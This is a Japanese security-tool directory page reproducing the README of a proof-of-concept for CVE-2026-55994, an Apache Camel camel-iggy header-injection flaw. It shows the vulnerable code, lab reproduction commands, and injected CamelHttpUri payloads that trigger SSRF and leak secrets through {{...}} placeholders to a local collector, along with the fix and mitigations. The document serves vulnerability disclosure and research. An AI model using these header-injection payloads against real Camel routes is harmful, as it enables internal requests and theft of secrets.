Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-55994 — CVE-2026-55994(Apache Camel camel-iggy)のPoC再現コード:コンシューマーがIggyメッセージのユーザーヘッダーをフィルタリングせずにExchangeへコピーするため、注入されたCamelHttpUriがサーバーサイドリクエスト(SSRF)を引き起こし、解決済みのプロパティプレースホルダーが漏洩します。4.18.3/4.21.0で修正済み。 | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-55994
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHuboscerd/cve-2026-55994

CVE-2026-55994

CVE-2026-55994(Apache Camel camel-iggy)のPoC再現コード:コンシューマーがIggyメッセージのユーザーヘッダーをフィルタリングせずにExchangeへコピーするため、注入されたCamelHttpUriがサーバーサイドリクエスト(SSRF)を引き起こし、解決済みのプロパティプレースホルダーが漏洩します。4.18.3/4.21.0で修正済み。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-iggy ユーザーヘッダーインジェクション再現器 (CVE-2026-55994)

このプロジェクトは、Apache Camelのcamel-iggyコンポーネントにおけるメッセージヘッダーインジェクションを実証するもので、CVE-2026-55994として追跡されています。Iggyコンシューマーは、受信メッセージのユーザーヘッダーを**HeaderFilterStrategyなしで**Camel Exchangeにコピーするため、消費対象のIggyトピックに発行できる者なら誰でも、Camel制御ヘッダー(特にCamelHttpUri)を注入できます。

root@kitploit:~
// IggyFetchRecords.createExchange (affected 4.18.2) — Iggy message user-headers -> Exchange headers, unfiltered
message.userHeaders().ifPresent(userHeaders -> {
    Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
            e -> e.getKey(),
            e -> e.getValue().value()));
    exchange.getIn().setHeaders(stringUserHeaders);
});

ルートがこのコンシューマーをHTTPプロデューサーにブリッジしている場合、注入されたCamelHttpUriはプロデューサーのターゲットURIを上書きします — サーバーサイドリクエストフォージェリです。camel-httpプロデューサーはまた、攻撃者が制御するそのURIに対してresolvePropertyPlaceholders()を呼び出すため、注入された{{...}}参照は実際の値に展開されて送信され、環境変数、アプリケーションプロパティ、またはVaultのシークレットが漏洩します。

このPoCは、影響を**SSRFに加えてシークレット漏洩(CWE-20 → CWE-918 + CWE-200)**として実証します。これはCAMEL-23532の下で(camel-vertx-websocket(CVE-2026-46726)およびcamel-atmosphere-websocket(CVE-2026-55993)とともに)一緒に修正された3つの兄弟コンポーネントの1つです。

アドバイザリ: https://camel.apache.org/security/CVE-2026-55994.html

脆弱性の概要

この修正は、受信マッピングにHeaderFilterStrategyを適用し、Camel* / camel*ヘッダーをフィルタリングして、Iggyメッセージのユーザーヘッダーを通じて注入できなくします。

この再現器が実際の脆弱なコードをどのように実行するか

脆弱なIggyFetchRecords.createExchange(...)は、ユーザーヘッダーが攻撃者によって制御された偽造Iggyメッセージに対して変更なしで実行されます。生成されたExchangeは実際のルートを通って実際のcamel-httpプロデューサーに流れるため、SSRFと{{...}}プロパティプレースホルダー漏洩は本物です。

なぜ実際のIggyブローカーを使用しないのか。 iggy:コンシューマーのdoStartは実行中のIggyサーバーへの接続を開くため、ブローカーなしではルートを開始できません。また、Apache Iggyサーバーはio_uringを必要としますが、これはDockerのデフォルトのseccompプロファイルがブロックするため(--privilegedでのみ実行可能)、移植可能で共有可能なPoCには適しません。脆弱なcreateExchange自体はブローカーを必要としないため、ドライバーは実際のIggyFetchRecordsを構築し、偽造メッセージで直接呼び出します。兄弟のcamel-vertx-websocket PoC(CVE-2026-46726)は、ライブ転送を通じて同一の欠陥を駆動します。

被害者ルート

実際の展開では: from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")。ここでは、下流側の半分はfrom("direct:iggy-delivery").to("http://localhost:8080/legit-backend")であり、実際のcreateExchangeによって構築された汚染されたExchangeが供給されます。

リポジトリ構成

root@kitploit:~
CVE-2026-55994/
├── pom.xml                 # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # downstream link -> http://localhost:8080/legit-backend
    │   ├── SinkController.java     # SSRF collector: /legit-backend, /internal/secret, /collect
    │   └── ExploitController.java  # forges an Iggy message + runs the real createExchange (injects CamelHttpUri)
    └── resources/
        └── application.properties  # app.secret=... (leaked via placeholder resolution)

前提条件

  • DockerおよびDocker Compose
  • Java 17+ および Maven 3.8+

再現手順

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

期待される出力

root@kitploit:~
1) Ordinary message (user-header x-order-id=A-1001)
     reached /legit-backend: true
     reached /internal/secret: false

2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret'  (SSRF)
     server-side request reached /internal/secret: true

3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}'  (secret disclosure)
     attacker's collector received leak = SUPER-SECRET-abc123
     equals the app's real secret: true

>>> SSRF=true, secret-disclosure=true

推奨される修正

4.18.3 / 4.21.0(CAMEL-23532)にアップグレードしてください。アップグレード後、コンシューマーはIggyメッセージのユーザーヘッダーからCamel*ヘッダーをフィルタリングするため、CamelHttpUriおよびその他の制御ヘッダーを注入できなくなります。

緩和策

アップグレードするまでは、Camel制御ヘッダーを事前に除去せずに(例: removeHeaders("CamelHttp*"))iggy:コンシューマーをHTTPプロデューサーに直接ブリッジしないでください。また、プロデューサーのターゲットを信頼できるソースから設定してください(またはbridgeEndpoint=trueを使用)。

免責事項

この再現器は、公に開示され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されています。明示的な許可なしにシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-iggy
影響を受けるクラスorg.apache.camel.component.iggy.IggyFetchRecords#createExchange (メッセージのユーザーヘッダーをフィルタなしでExchangeヘッダーにマッピング)
CWECWE-20 (不適切な入力検証) → CWE-918 (SSRF) + CWE-200 (情報漏洩)
影響SSRFおよび注入されたURIに対するプロパティプレースホルダー解決によるシークレット漏洩
前提条件ルートがiggy:コンシューマーをHTTPプロデューサーにブリッジしている; 攻撃者が消費対象トピックに発行できる
影響を受けるバージョン4.17.0以降4.18.3未満、4.19.0以降4.21.0未満 (camel-iggyは4.17.0で導入)
修正済みバージョン4.18.3, 4.21.0
JIRACAMEL-23532 (PR apache/camel#23285)
クレジットKamalpreet Singh